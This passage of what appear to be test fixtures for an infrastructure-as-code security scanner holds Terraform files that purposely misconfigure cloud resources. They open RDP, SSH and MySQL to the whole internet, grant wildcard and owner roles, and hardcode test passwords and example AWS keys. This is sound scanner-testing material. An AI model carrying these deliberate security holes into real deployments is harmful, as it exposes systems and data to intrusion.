\"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384\"]\n}\n\nresource \"google_project\" \"default-network-created\" {\n  name       = \"My Project\"\n  project_id = \"your-project-id\"\n  org_id     = \"1234567\"\n}\n\nresource \"google_project\" \"no-default-network-created\" {\n  name       = \"My Project\"\n  project_id = \"your-project-id\"\n  org_id     = \"1234567\"\n  auto_create_network = false\n}\n\nresource \"google_storage_bucket_iam_member\" \"member-not-public\" {\n  bucket = google_storage_bucket.default.name\n  role = \"roles/storage.admin\"\n  member = \"user:jane@example.com\"\n}\n\nresource \"google_storage_bucket_iam_binding\" \"binding-with-public-member\" {\n  bucket = google_storage_bucket.default.name\n  role = \"roles/storage.admin\"\n  members = [\n    \"allAuthenticatedUsers\"\n  ]\n}\n\nresource \"google_storage_bucket\" \"bucket-with-uniform-access-enabled\" {\n  name          = \"image-store.com\"\n  location      = \"EU\"\n  force_destroy = true\n\n  bucket_policy_only = true\n\n  }\n\nresource \"google_compute_instance\" \"bad-example\" {\nname         = \"test\"\nmachine_type = \"n1-standard-1\"\nzone         = \"us-central1-a\"\n  service_account {\n    scopes = [\"https://www.googleapis.com/auth/cloud-platform\", \"compute-ro\", \"storage-ro\"]\n  }\n  metadata = {\n    enable-oslogin = false\n    serial-port-enable = true\n              }\n  can_ip_forward = true\n  boot_disk {}\n  network_interface {}\n}\n\nresource \"google_compute_instance\" \"good-example\" {\nname         = \"test\"\nmachine_type = \"n1-standard-1\"\nzone         = \"us-central1-a\"\n  service_account {\n    scopes = [\"https://www.googleapis.com/auth/cloud-platform\", \"compute-ro\", \"storage-ro\"]\n    email = \"example@email.com\"\n  }\n  metadata = {\n       block-project-ssh-keys = true\n              }\n  boot_disk {\n    disk_encryption_key_raw = \"acXTX3rxrKAFTF0tYVLvydU1riRZTvUNC4g5I11NY-c=\"\n  }\n  shielded_instance_config {}\n  network_interface {}\n}\n\nresource \"google_compute_project_metadata\" \"good-example\" {\n  metadata = {\n    foo  = \"bar\"\n    enable-oslogin = true\n  }\n}\n\nresource \"google_compute_project_metadata\" \"bad-example\" {\n  metadata = {\n    foo  = \"bar\"\n    enable-oslogin = true\n  }\n}\n\nresource \"google_compute_disk\" \"good_example\" {\n  name  = \"test-disk\"\n  type  = \"pd-ssd\"\n  zone  = \"us-central1-a\"\n  image = \"debian-8-jessie-v20170523\"\n  physical_block_size_bytes = 4096\n  disk_encryption_key {\n    raw_key = \"acXTX3rxrKAFTF0tYVLvydU1riRZTvUNC4g5I11NY-c=\"\n    }\n}\n\nresource \"google_project_iam_member\" \"bad-role\" {\n    project = \"your-project-id\"\n    role    = \"roles/iam.serviceAccountUser\"\n    member  = \"user:jane@example.com\"\n}\n\nresource \"google_project_iam_binding\" \"bad-role\" {\n  project = \"your-project-id\"\n  role    = \"roles/iam.serviceAccountTokenCreator\"\n\n  members = [\n    \"user:jane@example.com\",\n  ]\n}\n\nresource \"google_project_iam_member\" \"admin-user-managed-member\" {\n  project = \"your-project-id\"\n  role    = \"roles/owner\"\n  member  = \"user:user@123456789.iam.gserviceaccount.com\"\n}\n\nresource \"google_kms_crypto_key\" \"good-rotation-period\" {\n  name            = \"crypto-key-example\"\n  key_ring        = google_kms_key_ring.keyring.id\n  rotation_period = \"90d\"\n  lifecycle {\n    prevent_destroy = true\n  }\n}\n\nresource \"azurerm_network_security_rule\" \"inbound-rdp\" {\n  name                        = \"test123\"\n  priority                    = 100\n  direction                   = \"Inbound\"\n  access                      = \"Allow\"\n  protocol                    = \"TCP\"\n  source_port_range           = \"*\"\n  destination_port_range      = \"3389\"\n  source_address_prefix       = \"*\"\n  destination_address_prefix  = \"*\"\n  resource_group_name         = azurerm_resource_group.example.name\n  network_security_group_name = azurerm_network_security_group.example.name\n}\n\nresource \"azurerm_network_security_rule\" \"inbound-ssh\" {\n  name                        = \"test123\"\n  priority                    = 100\n  direction                   = \"Inbound\"\n  access                      = \"Allow\"\n  protocol                    = \"TCP\"\n  source_port_range           = \"*\"\n  destination_port_range      = \"22\"\n  source_address_prefix       = \"*\"\n  destination_address_prefix  = \"*\"\n  resource_group_name         = azurerm_resource_group.example.name\n  network_security_group_name = azurerm_network_security_group.example.name\n}\n\nresource \"azurerm_mysql_firewall_rule\" \"open-to-internet\" {\n  name                = \"office\"\n  resource_group_name = azurerm_resource_group.example.name\n  server_name         = azurerm_mysql_server.example.name\n  start_ip_address    = \"0.0.0.0\"\n  end_ip_address      = \"255.255.255.255\"\n}\n\nresource \"azurerm_network_watcher_flow_log\" \"good-retention-policy\" {\nnetwork_watcher_name = azurerm_network_watcher.test.name\nresource_group_name  = azurerm_resource_group.test.name\nnetwork_security_group_id = azurerm_network_security_group.test.id\nstorage_account_id        = azurerm_storage_account.test.id\nenabled                   = true\n\nretention_policy {\n  enabled = true\n  days    = 90\n}\n}\n\nresource \"azurerm_app_service\" \"good-example\" {\n  name                = \"example-app-service\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  app_service_plan_id = azurerm_app_service_plan.example.id\n  https_only          = true\n  client_cert_enabled = true\n\n  auth_settings {\n    enabled                       = true\n    issuer                        = \"https://sts.windows.net/d13958f6-b541-4dad-97b9-5a39c6b01297\"\n    default_provider              = \"AzureActiveDirectory\"\n    unauthenticated_client_action = \"RedirectToLoginPage\"\n              }\n\n  identity {\n                type = \"SystemAssigned\"\n              }\n\n  site_config {\n    http2_enabled = true\n  }\n}\n\nresource \"azurerm_security_center_subscription_pricing\" \"example\" {\n      tier = \"Standard\"\n    }\n\nresource \"azurerm_security_center_contact\" \"good-example\" {\n  email = \"contact@example.com\"\n  phone = \"+1-555-555-5555\"\n\n  alert_notifications = true\n  alerts_to_admins    = true\n}\n\nresource \"azurerm_sql_server\" \"example\" {\n  name                         = \"mssqlserver\"\n  resource_group_name          = azurerm_resource_group.example.name\n  location                     = azurerm_resource_group.example.location\n  version                      = \"12.0\"\n  administrator_login          = \"mradministrator\"\n  administrator_login_password = \"thisIsDog11\"  # checkov:skip=CKV_SECRET_6 test secret\n\n  extended_auditing_policy {\n    storage_endpoint                        = azurerm_storage_account.example.primary_blob_endpoint\n    storage_account_access_key              = azurerm_storage_account.example.primary_access_key\n    storage_account_access_key_is_secondary = true\n    retention_in_days                       = 100\n  }\n}\n\nresource \"azurerm_mssql_server_security_alert_policy\" \"example\" {\n  resource_group_name        = azurerm_resource_group.example.name\n  server_name                = azurerm_sql_server.example.name\n  state                      = \"Enabled\"\n  storage_endpoint           = azurerm_storage_account.example.primary_blob_endpoint\n  storage_account_access_key = azurerm_storage_account.example.primary_access_key\n  disabled_alerts = []\n  retention_days = 20\n  email_addresses = [\"example@gmail.com\"]\n  email_account_admins = true\n}\n\nresource \"azurerm_mysql_server\" \"example\" {\n  name                = \"example-mysqlserver\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n\n  administrator_login          = \"mysqladminun\"\n  administrator_login_password = \"H@Sh1CoR3!\"  # checkov:skip=CKV_SECRET_80 test secret\n\n  sku_name   = \"B_Gen5_2\"\n  storage_mb = 5120\n  version    = \"5.7\"\n\n  auto_grow_enabled                 = true\n  backup_retention_days             = 7\n  geo_redundant_backup_enabled      = true\n  infrastructure_encryption_enabled = true\n  public_network_access_enabled     = false\n  ssl_enforcement_enabled           = true\n  ssl_minimal_tls_version_enforced  = \"TLS1_2\"\n}\n\nresource \"azurerm_postgresql_server\" \"example\" {\n  name                = \"example-psqlserver\"\n  location            = azurerm_resource_group.example.location\n  resource_group_name = azurerm_resource_group.example.name\n  administrator_login          = \"psqladminun\"\n  administrator_login_password = \"H@Sh1CoR3!\"\n  sku_name   = \"GP_Gen5_4\"\n  version    = \"9.6\"\n  storage_mb = 640000\n  backup_retention_days        = 7\n  geo_redundant_backup_enabled = true\n  auto_grow_enabled            = true\n  public_network_access_enabled    = false\n  ssl_enforcement_enabled          = true\n  ssl_minimal_tls_version_enforced = \"TLS1_2\"\n}\n\nresource \"azurerm_postgresql_configuration\" \"log-checkpoints-misconfig\" {\n  name                = \"log_checkpoints\"\n  resource_group_name = data.azurerm_resource_group.example.name\n  server_name         = azurerm_postgresql_server.example.name\n  value               = \"off\"\n}\n\nresource \"azurerm_postgresql_configuration\" \"log-connections-misconfig\" {\n  name                = \"log_connections\"\n  resource_group_name = data.azurerm_resource_group.example.name\n  server_name         = azurerm_postgresql_server.example.name\n  value               = \"off\"\n}\n\nresource \"azurerm_postgresql_configuration\" \"connection-throttling-misconfig\" {\n  name                = \"connection-throttling\"\n  resource_group_name = data.azurerm_resource_group.example.name\n  server_name         = azurerm_postgresql_server.example.name\n  value               = \"off\"\n}\n\nresource \"azurerm_storage_account\" \"example\" {\n  name                     = \"arielkstorageaccount\"\n  resource_group_name      = data.azurerm_resource_group.example.name\n  location                 = data.azurerm_resource_group.example.location\n  account_tier             = \"Standard\"\n  account_replication_type = \"GRS\"\n  queue_properties  {\n\n    logging {\n      delete                = true\n      read                  = true\n      write                 = true\n      version               = \"1.0\"\n      retention_policy_days = 10\n    }\n    hour_metrics {\n      enabled               = true\n      include_apis          = true\n      version               = \"1.0\"\n      retention_policy_days = 10\n    }\n    minute_metrics {\n      enabled               = true\n      include_apis          = true\n      version               = \"1.0\"\n      retention_policy_days = 10\n    }\n  }\n  network_rules {\n    default_action             = \"Deny\"\n    ip_rules                   = [\"100.0.0.1\"]\n    virtual_network_subnet_ids = [azurerm_subnet.example.id]\n  }\n}\n\nresource \"azurerm_storage_account_network_rules\" \"test\" {\n  resource_group_name  = azurerm_resource_group.test.name\n  storage_account_name = azurerm_storage_account.test.name\n\n  default_action             = \"Allow\"\n  ip_rules                   = [\"127.0.0.1\"]\n  virtual_network_subnet_ids = [azurerm_subnet.test.id]\n  bypass                     = [\"Metrics\"]\n}\n\nresource \"azurerm_storage_container\" \"not-private-container\" {\n  name                  = \"vhds\"\n  storage_account_name  = azurerm_storage_account.example.name\n  container_access_type = \"blob\"\n}\n\nresource \"azurerm_monitor_log_profile\" \"example\" {\n  name = \"default\"\n\n  categories = [\n    \"Action\",\n    \"Delete\",\n    \"Write\",\n  ]\n\n  locations = [\n    \"westus\",\n    \"global\",\n  ]\n\n  # RootManageSharedAccessKey is created by default with listen, send, manage permissions\n  servicebus_rule_id = \"${azurerm_eventhub_namespace.example.id}/authorizationrules/RootManageSharedAccessKey\"\n  storage_account_id = azurerm_storage_account.example.id\n\n  retention_policy {\n    enabled = true\n    days    = 365\n  }\n}\n\nresource \"azurerm_role_definition\" \"example\" {\n  name        = \"my-custom-role\"\n  scope       = data.azurerm_subscription.primary.id\n  description = \"This is a custom role created via Terraform\"\n\n  permissions {\n    actions     = [\"*\"]\n    not_actions = []\n  }\n\n  assignable_scopes = [\n    data.azurerm_subscription.primary.id\n  ]\n}\n\nresource \"azurerm_key_vault_key\" \"generated\" {\n  name         = \"generated-certificate\"\n  key_vault_id = azurerm_key_vault.example.id\n  key_type     = \"RSA\"\n  key_size     = 2048\n\n  key_opts = [\n    \"decrypt\",\n    \"encrypt\",\n    \"sign\",\n    \"unwrapKey\",\n    \"verify\",\n    \"wrapKey\",\n  ]\n  expiration_date = \"2020-12-30T20:00:00Z\"\n}\n\nresource \"azurerm_key_vault_secret\" \"example\" {\n  name         = \"secret-sauce\"\n  value        = \"szechuan\"\n  key_vault_id = azurerm_key_vault.example.id\n\n  tags = {\n    environment = \"Production\"\n  }\n  expiration_date = \"2020-12-30T20:00:00Z\"\n}\n\nresource \"azurerm_key_vault\" \"example\" {\n  name                        = \"testvault\"\n  location                    = azurerm_resource_group.example.location\n  resource_group_name         = azurerm_resource_group.example.name\n  enabled_for_disk_encryption = true\n  tenant_id                   = data.azurerm_client_config.current.tenant_id\n  soft_delete_enabled         = true\n  purge_protection_enabled    = true\n  sku_name = \"standard\"\n}\n\nresource aws_s3_bucket \"other-provider-bucket\" {\n  bucket   = \"other_provider_bucket\"\n  provider = \"non-default\"\n}\n\nmodule \"some-module\" {\n  source = \"git::ssh://github.com/example/module//s3/s3-loggref=tags/1.0.0\"\n}\n\n\nresource \"google_sql_database_instance\" \"tfer--general-002D-mysql81\" {\n  database_version = \"MYSQL_8_0\"\n  name             = \"general-mysql81\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n\n    backup_configuration {\n      binary_log_enabled             = \"true\"\n      enabled                        = \"true\"\n      location                       = \"us\"\n      point_in_time_recovery_enabled = \"false\"\n      start_time                     = \"18:00\"\n    }\n\n    crash_safe_replication = \"false\"\n\n    database_flags {\n      name  = \"local_infile\"\n      value = \"off\"\n    }\n\n    disk_autoresize = \"true\"\n    disk_size       = \"10\"\n    disk_type       = \"PD_SSD\"\n\n    ip_configuration {\n      ipv4_enabled = \"true\"\n      require_ssl  = \"false\"\n    }\n\n    location_preference {\n      zone = \"us-central1-a\"\n    }\n\n    maintenance_window {\n      day  = \"0\"\n      hour = \"0\"\n    }\n\n    pricing_plan     = \"PER_USE\"\n    replication_type = \"SYNCHRONOUS\"\n    tier             = \"db-n1-standard-1\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"tfer--general-002D-pos121\" {\n  database_version = \"POSTGRES_12\"\n  name             = \"general-pos121\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n\n    backup_configuration {\n      binary_log_enabled             = \"false\"\n      enabled                        = \"true\"\n      location                       = \"us\"\n      point_in_time_recovery_enabled = \"true\"\n      start_time                     = \"18:00\"\n    }\n\n    crash_safe_replication = \"false\"\n\n    database_flags {\n      name  = \"log_checkpoints\"\n      value = \"on\"\n    }\n\n    database_flags {\n      name  = \"log_connections\"\n      value = \"on\"\n    }\n\n    database_flags {\n      name  = \"log_disconnections\"\n      value = \"on\"\n    }\n\n    database_flags {\n      name  = \"log_min_messages\"\n      value = \"debug5\"\n    }\n\n    database_flags {\n      name  = \"log_lock_waits\"\n      value = \"on\"\n    }\n\n    database_flags {\n      name  = \"log_temp_files\"\n      value = \"0\"\n    }\n\n    database_flags {\n      name  = \"log_min_duration_statement\"\n      value = \"-1\"\n    }\n\n    disk_autoresize = \"true\"\n    disk_size       = \"10\"\n    disk_type       = \"PD_SSD\"\n\n    ip_configuration {\n      ipv4_enabled = \"true\"\n      require_ssl  = \"false\"\n    }\n\n    location_preference {\n      zone = \"us-central1-a\"\n    }\n\n    maintenance_window {\n      day  = \"0\"\n      hour = \"0\"\n    }\n\n    pricing_plan     = \"PER_USE\"\n    replication_type = \"SYNCHRONOUS\"\n    tier             = \"db-custom-1-3840\"\n  }\n}\n\nresource \"google_sql_database_instance\" \"tfer--general-002D-sqlserver12\" {\n  database_version = \"SQLSERVER_2017_STANDARD\"\n  name             = \"general-sqlserver12\"\n  project          = \"gcp-bridgecrew-deployment\"\n  region           = \"us-central1\"\n\n  settings {\n    activation_policy = \"ALWAYS\"\n    availability_type = \"ZONAL\"\n\n    backup_configuration {\n      binary_log_enabled             = \"false\"\n      enabled                        = \"true\"\n      location                       = \"us\"\n      point_in_time_recovery_enabled = \"false\"\n      start_time                     = \"00:00\"\n    }\n\n    crash_safe_replication = \"false\"\n\n    database_flags {\n      name  = \"cross db ownership chaining\"\n      value = \"off\"\n    }\n\n    database_flags {\n      name  = \"contained database authentication\"\n      value = \"off\"\n    }\n\n    disk_autoresize = \"true\"\n    disk_size       = \"20\"\n    disk_type       = \"PD_SSD\"\n\n    ip_configuration {\n      ipv4_enabled    = \"false\"\n      private_network = \"projects/gcp-bridgecrew-deployment/global/networks/default\"\n      require_ssl     = \"false\"\n    }\n\n    location_preference {\n      zone = \"us-central1-a\"\n    }\n\n    maintenance_window {\n      day  = \"0\"\n      hour = \"0\"\n    }\n\n    pricing_plan     = \"PER_USE\"\n    replication_type = \"SYNCHRONOUS\"\n    tier             = \"db-custom-1-4096\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/example/invalid.tf",
    "content": "Some invalid code"
  },
  {
    "path": "tests/terraform/runner/resources/extra_check_test/s3.tf",
    "content": "resource \"aws_s3_bucket\" \"a\" {\n  bucket = \"my-tf-test-bucket\"\n  acl    = \"private\"\n\n  tags = {\n    Name        = \"My bucket\"\n    Environment = \"Production\"\n  }\n}\n\nresource \"aws_s3_bucket\" \"b\" {\n  bucket = \"my-tf-test-bucket\"\n  acl    = \"private\"\n\n  tags = {\n    Name        = \"My bucket\"\n    Environment = \"Dev\"\n  }\n}\n\n\nresource \"aws_s3_bucket\" \"c\" {\n  bucket = \"my-tf-test-bucket\"\n  acl    = \"private\"\n}\n\n\n"
  },
  {
    "path": "tests/terraform/runner/resources/for_each/main.tf",
    "content": "\r\nmodule \"simple\" {\r\n  source = \"./simple\"\r\n  bucket = \"my_bucket\"\r\n  key    = \"my_key\"\r\n  count  = 2\r\n  # checkov:skip=CKV_AWS_88:Testing\r\n}"
  },
  {
    "path": "tests/terraform/runner/resources/for_each/simple/alerts.tf",
    "content": "locals {\n  alerts = 0\n}"
  },
  {
    "path": "tests/terraform/runner/resources/for_each/simple/main.tf",
    "content": "resource \"aws_s3_bucket_object\" \"this_file\" {\r\n  source   = \"readme.md\"\r\n}\r\n\r\nresource \"aws_instance\" \"public_server\" {\r\n  ami           = \"ami-0abcdef1234567890\"\r\n  instance_type = \"t2.micro\"\r\n  associate_public_ip_address = true\r\n}"
  },
  {
    "path": "tests/terraform/runner/resources/for_each/simple/outputs.tf",
    "content": "output \"account_id\" {\n  description = \"Storage account resource ID.\"\n  value       = azurerm_storage_account.id\n}\n\n\n"
  },
  {
    "path": "tests/terraform/runner/resources/get_graph_resource_entity_config/main.tf",
    "content": "provider \"aws\" {\n  alias      = \"plain_text_access_keys_provider\"\n  region     = \"us-west-1\"\n  access_key = \"AKIAIOSFODNN7EXAMPLE\"  # checkov:skip=CKV_SECRET_2 test secret\n  secret_key = \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\"  # checkov:skip=CKV_SECRET_6 test secret\n}\n\nlocals {\n  resource_prefix = {\n    value = \"${data.aws_caller_identity.current.account_id}-${var.company_name}-${var.environment}\"\n  }\n}\n\nresource \"aws_s3_bucket\" \"data\" {\n  # bucket is public\n  # bucket is not encrypted\n  # bucket does not have access logs\n  # bucket does not have versioning\n  bucket        = \"${local.resource_prefix.value}-data\"\n  acl           = \"public-read\"\n  force_destroy = true\n  tags = {\n    Name                 = \"${local.resource_prefix.value}-data\"\n    Environment          = local.resource_prefix.value\n    git_commit           = \"d68d2897add9bc2203a5ed0632a5cdd8ff8cefb0\"\n    git_file             = \"terraform/aws/s3.tf\"\n    git_last_modified_at = \"2020-06-16 14:46:24\"\n    git_last_modified_by = \"nimrodkor@gmail.com\"\n    git_modifiers        = \"nimrodkor\"\n    git_org              = \"try-bridgecrew\"\n    git_repo             = \"terragoat\"\n    yor_trace            = \"fc8c2d7a-1997-4fc2-95c1-277cba5c2a38\"\n  }\n  versioning {\n    enabled = \"${var.versioning_enabled}\"\n  }\n}"
  },
  {
    "path": "tests/terraform/runner/resources/get_graph_resource_entity_config/variables.tf",
    "content": "variable \"versioning_enabled\" {\n  type        = bool\n  default     = false\n  description = \"A state of versioning. Versioning is a means of keeping multiple variants of an object in the same bucket\"\n}\n\nvariable \"company_name\" {\n  default = \"acme\"\n}\n\nvariable \"environment\" {\n  default = \"dev\"\n}\n\ndata \"aws_caller_identity\" \"current\" {}\n"
  },
  {
    "path": "tests/terraform/runner/resources/hcl_0.11/main.tf",
    "content": "resource \"aws_db_instance\" \"test_db\" {\n  apply_immediately       = \"true\"\n  allocated_storage       = 100\n  skip_final_snapshot     = true\n  storage_type            = \"gp2\"\n  engine                  = \"postgres\"\n  engine_version          = \"11.5\"\n  instance_class          = \"db.t3.small\"\n  identifier              = \"techops\"\n  name                    = \"postgres\"\n  username                = \"postgres\"\n  backup_retention_period = \"1\"\n  maintenance_window      = \"mon:01:00-mon:01:30\"\n  storage_encrypted       = \"0\"\n  multi_az                = \"false\"\n  tags = {\n    workload-type = \"other\"\n  }\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/hcl_timeout/main.tf",
    "content": "resource \"aws_glue_connection\" \"example\" {\n  name = \"example-connection\"\n  connection_properties = {\n             startswith(each.value.connection_properties[x], \"$${abcded:\"\n\n\nvariable \"connection_properties\" {\n\n}"
  },
  {
    "path": "tests/terraform/runner/resources/hidden_dir/.dir/.example1.tf",
    "content": "resource \"aws_s3_bucket\" \"foo-bucket\" {\n  region        = var.region\n  bucket        = local.bucket_name\n  force_destroy = true\n\n  tags = {\n    Name = \"foo-${data.aws_caller_identity.current.account_id}\"\n  }\n}\ndata \"aws_caller_identity\" \"current\" {}\n"
  },
  {
    "path": "tests/terraform/runner/resources/hidden_dir/.example2.tf",
    "content": "resource \"aws_s3_bucket\" \"foo-bucket\" {\n  region        = var.region\n  bucket        = local.bucket_name\n  force_destroy = true\n\n  tags = {\n    Name = \"foo-${data.aws_caller_identity.current.account_id}\"\n  }\n}\ndata \"aws_caller_identity\" \"current\" {}\n"
  },
  {
    "path": "tests/terraform/runner/resources/hidden_dir/dir1/.example1.tf",
    "content": "resource \"aws_s3_bucket\" \"foo-bucket\" {\n  region        = var.region\n  bucket        = local.bucket_name\n  force_destroy = true\n\n  tags = {\n    Name = \"foo-${data.aws_caller_identity.current.account_id}\"\n  }\n}\ndata \"aws_caller_identity\" \"current\" {}\n"
  },
  {
    "path": "tests/terraform/runner/resources/hidden_dir/dir1/example.tf",
    "content": "resource \"aws_s3_bucket\" \"foo-bucket\" {\n  region        = var.region\n  bucket        = local.bucket_name\n  force_destroy = true\n\n  tags = {\n    Name = \"foo-${data.aws_caller_identity.current.account_id}\"\n  }\n}\ndata \"aws_caller_identity\" \"current\" {}\n"
  },
  {
    "path": "tests/terraform/runner/resources/hidden_dir/example.tf",
    "content": "resource \"aws_s3_bucket\" \"foo-bucket\" {\n  region        = var.region\n  bucket        = local.bucket_name\n  force_destroy = true\n\n  tags = {\n    Name = \"foo-${data.aws_caller_identity.current.account_id}\"\n  }\n}\ndata \"aws_caller_identity\" \"current\" {}\n"
  },
  {
    "path": "tests/terraform/runner/resources/invalid_terraform_syntax/bad_tf_1.tf",
    "content": "variable \"okay\" {\n}\n\n// such bad terraform\nvariable\n  name    = \"test\"\n  default = \"test_value\"\n  type    = \"string\"\n}\n\n"
  },
  {
    "path": "tests/terraform/runner/resources/invalid_terraform_syntax/bad_tf_2.tf",
    "content": "variable \"okay\" {\n}\n\n// such bad terraform\nvariable {\n  name\n  default = \"test_value\"\n  type    = \"string\"\n}\n\n"
  },
  {
    "path": "tests/terraform/runner/resources/list_of_routes/list_of_routes.tf",
    "content": "resource \"aws_route_table\" \"private_route_table\" {\n  vpc_id = aws_vpc.vpc.id\n\n  route {\n    cidr_block                            = \"10.0.0.0/32\"\n    vpc_peering_connection_id = var.vpc_peering_connection_id1\n  }\n\n  route {\n    cidr_block                            = \"0.0.0.0/0\"\n    vpc_peering_connection_id = var.vpc_peering_connection_id2\n  }\n\n}"
  },
  {
    "path": "tests/terraform/runner/resources/malformed_857/main.tf",
    "content": "resource \"aws_instance\" {\n  ami = \"amiid\"\n  instance_type = \"t3.micro\"\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/many_providers/main.tf",
    "content": "provider \"aws\" {\n  region     = \"ap-northeast-1\"\n  alias      = \"ap-northeast-1\"\n}\n\nprovider \"aws\" {\n  region     = \"ap-northeast-2\"\n  alias      = \"ap-northeast-2\"\n}\n\nprovider \"aws\" {\n  region     = \"ap-south-1\"\n  alias      = \"ap-south-1\"\n}\n\nprovider \"aws\" {\n  region     = \"ap-southeast-1\"\n  alias      = \"ap-southeast-1\"\n}\n\nprovider \"aws\" {\n  region     = \"ap-southeast-2\"\n  alias      = \"ap-southeast-2\"\n}\n\nprovider \"aws\" {\n  region     = \"ca-central-1\"\n  alias      = \"ca-central-1\"\n}\n\nprovider \"aws\" {\n  region     = \"eu-central-1\"\n  alias      = \"eu-central-1\"\n}\n\nprovider \"aws\" {\n  region     = \"eu-north-1\"\n  alias      = \"eu-north-1\"\n}\n\nprovider \"aws\" {\n  region     = \"eu-west-1\"\n  alias      = \"eu-west-1\"\n}\n\nprovider \"aws\" {\n  region     = \"eu-west-2\"\n  alias      = \"eu-west-2\"\n}\n\nprovider \"aws\" {\n  region     = \"eu-west-3\"\n  alias      = \"eu-west-3\"\n}\n\nprovider \"aws\" {\n  region     = \"sa-east-1\"\n  alias      = \"sa-east-1\"\n}\n\nprovider \"aws\" {\n  region     = \"us-east-1\"\n}\n\nprovider \"aws\" {\n  region     = \"us-east-2\"\n  alias      = \"us-east-2\"\n}\n\nprovider \"aws\" {\n  region     = \"us-west-1\"\n  alias      = \"us-west-1\"\n}\n\nprovider \"aws\" {\n  region     = \"us-west-2\"\n  alias      = \"us-west-2\"\n}\n\nprovider \"aws\" { alias = \"one-line\" }\n"
  },
  {
    "path": "tests/terraform/runner/resources/merge_operator/main.tf",
    "content": "locals {\n  default_tags = {\n    a        = var.a\n    b        = var.b\n    c        = var.c\n    d        = local.d\n  }\n}\n\nresource \"aws_ecs_cluster\" \"cluster\" {\n#  tags = local.default_tags\n  tags = merge(local.default_tags)\n}"
  },
  {
    "path": "tests/terraform/runner/resources/merge_operator/query/TagsQuery.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_200\"\n  name: \"\"\n  category: \"\"\ndefinition:\n  and:\n    - cond_type: attribute\n      operator: exists\n      attribute: tags.a\n      resource_types:\n         - aws_ecs_cluster\n    - cond_type: attribute\n      operator: exists\n      attribute: tags.b\n      resource_types:\n        - aws_ecs_cluster\n    - cond_type: attribute\n      operator: exists\n      attribute: tags.c\n      resource_types:\n        - aws_ecs_cluster\n"
  },
  {
    "path": "tests/terraform/runner/resources/module_check/main.tf",
    "content": "module \"pass\" {\n  source = \"terraform-aws-modules/ec2-instance/aws\"\n\n  name = \"terraform\"\n\n  ami                    = \"ami-0ff8a91507f77f867\"\n  instance_type          = \"t3.micro\"\n  key_name               = \"user1\"\n  vpc_security_group_ids = [\"sg-12345678\"]\n  subnet_id              = \"subnet-123456\"\n}\n\nmodule \"fail\" {\n  source = \"cloudposse/ec2-instance/aws\"\n\n  name = \"cloudposse\"\n\n  ami                    = \"ami-0ff8a91507f77f867\"\n  ssh_key_pair           = \"user1\"\n  instance_type          = \"t3.micro\"\n  security_groups        = [\"sg-12345678\"]\n  subnet                 = \"subnet-123456\"\n  namespace              = \"eg\"\n  stage                  = \"dev\"\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/module_failure_reporting_772/main.tf",
    "content": "#\n# WARNING: Line numbers matter in this test!\n#          Update test_module_failure_reporting_772 if a change is made!\n#\n\nmodule \"test_module\" {\n  source = \"./module\"\n}\n\n# Bucket that will fail (no encryption) defined OUTSIDE a module\nresource \"aws_s3_bucket\" \"outside\" {\n  bucket = \"outside-bucket\"\n\n  object_lock_configuration {\n    object_lock_enabled = \"Disabled\"\n  }\n}"
  },
  {
    "path": "tests/terraform/runner/resources/module_failure_reporting_772/module/module.tf",
    "content": "#\n# WARNING: Line numbers matter in this test!\n#          Update test_module_failure_reporting_772 if a change is made!\n#\n\n# Bucket that will fail (no encryption) defined INSIDE a module\nresource \"aws_s3_bucket\" \"inside\" {\n  bucket = \"inside-bucket\"\n\n  object_lock_configuration {\n    object_lock_enabled = \"Disabled\"\n  }\n}"
  },
  {
    "path": "tests/terraform/runner/resources/module_skip/another/module/module-3/module.tf",
    "content": "# Bucket that will fail (no encryption) defined INSIDE a module\nresource \"aws_s3_bucket\" \"nested-inside\" {\n  bucket = \"nested-inside-bucket\"\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/module_skip/another/module/module.tf",
    "content": "# Bucket that will fail (no encryption) defined INSIDE a module\nresource \"aws_s3_bucket\" \"nested-inside\" {\n  bucket = \"nested-inside-bucket\"\n}\n\n# this module is used to test 3 layers deep\nmodule \"module-3\" {\n  source = \"./module-3\"\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/module_skip/main.tf",
    "content": "#\n# WARNING: Line numbers matter in this test!\n#          Update test_module_skip if a change is made!\n#\n\nmodule \"test_module\" {\n  source = \"./module\"\n\n  #checkov:skip=CKV_AWS_19:Skip encryption\n}\n\nresource \"aws_s3_bucket\" \"outside\" {\n  bucket = \"outside-bucket\"\n\n  #checkov:skip=CKV_AWS_19:Skip encryption\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/module_skip/module/module.tf",
    "content": "#\n# WARNING: Line numbers matter in this test!\n#          Update test_module_skip if a change is made!\n#\n\n# Bucket that will fail (no encryption) defined INSIDE a module\nresource \"aws_s3_bucket\" \"inside\" {\n  bucket = \"inside-bucket\"\n}\n\nresource \"aws_s3_bucket\" \"inside2\" {\n  bucket = \"inside-bucket-2\"\n}\n\nmodule \"another_module\" {\n  source = \"../another/module\"\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/multi_line_ternary/main.tf",
    "content": "data \"aws_iam_policy_document\" \"dl_queue_resource\" {\n  source_json = (\n    length(var.resource_reader_arns) > 0\n    ? data.aws_iam_policy_document.dl_queue_resource_reader.json\n    : \"\"\n  )\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/multiple_module_versions/main.tf",
